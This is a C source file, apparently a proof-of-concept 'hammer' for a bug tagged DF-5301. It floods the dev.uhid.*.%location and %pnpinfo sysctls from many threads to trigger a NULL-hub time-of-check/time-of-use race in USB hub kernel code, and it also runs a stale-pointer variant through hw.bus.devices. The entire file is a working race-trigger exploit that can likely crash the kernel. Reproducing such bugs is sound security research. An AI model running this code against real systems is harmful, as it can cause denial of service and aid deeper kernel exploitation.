/* DF-5301 hammer v3 - tight loop on the vulnerable sysctls only.
 *
 * dev.uhid.0/.1 .%location/.%pnpinfo are served by uhub1's
 * uhub_child_location_string()/uhub_child_pnpinfo_string() - the methods
 * with the NULL-hub TOCTOU.  dev.uhub.1.* dispatches uhub0 (root hub,
 * never NULL) and is useless as a target, so v3 drops it and the global
 * walk from the hot path (one walk thread kept for the stale-pointer
 * variant).
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

static volatile int stop;

static const char *targets[] = {
	"dev.uhid.0.%location",
	"dev.uhid.0.%pnpinfo",
	"dev.uhid.1.%location",
	"dev.uhid.1.%pnpinfo",
};
#define NTGT 4

static unsigned long per_thr[128];
static unsigned long per_hit[128];

static void *
thr(void *arg)
{
	long id = (long)arg;
	char buf[2048];
	size_t l;
	int i;
	unsigned long n = 0, h = 0;

	if (id == 0) {
		/* one thread: global unlocked walk (stale-pointer variant) */
		char big[96*1024];
		while (!stop) {
			l = sizeof(big);
			if (sysctlbyname("hw.bus.devices", big, &l, NULL, 0) == 0)
				h++;
			per_thr[id] = n; per_hit[id] = h;
		}
	}
	while (!stop) {
		for (i = 0; i < NTGT; i++) {
			l = sizeof(buf);
			if (sysctlbyname(targets[i], buf, &l, NULL, 0) == 0)
				n++;
			else
				h++;	/* ENOENT while hub is detached */
		}
		per_thr[id] = n;
		per_hit[id] = h;
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	int n = (argc > 1) ? atoi(argv[1]) : 8;
	pthread_t t[128];
	int i;
	unsigned long pn = 0, ph = 0, cn, ch;

	if (n > 128) n = 128;
	for (i = 0; i < n; i++)
		pthread_create(&t[i], NULL, thr, (void *)(long)i);
	for (;;) {
		sleep(5);
		cn = ch = 0;
		for (i = 0; i < n; i++) { cn += per_thr[i]; ch += per_hit[i]; }
		printf("ok=%lu (+%lu) miss=%lu (+%lu) rate=%lu/s\n",
		    cn, cn - pn, ch, ch - ph, (cn - pn) / 5);
		fflush(stdout);
		pn = cn; ph = ch;
	}
	return (0);
}
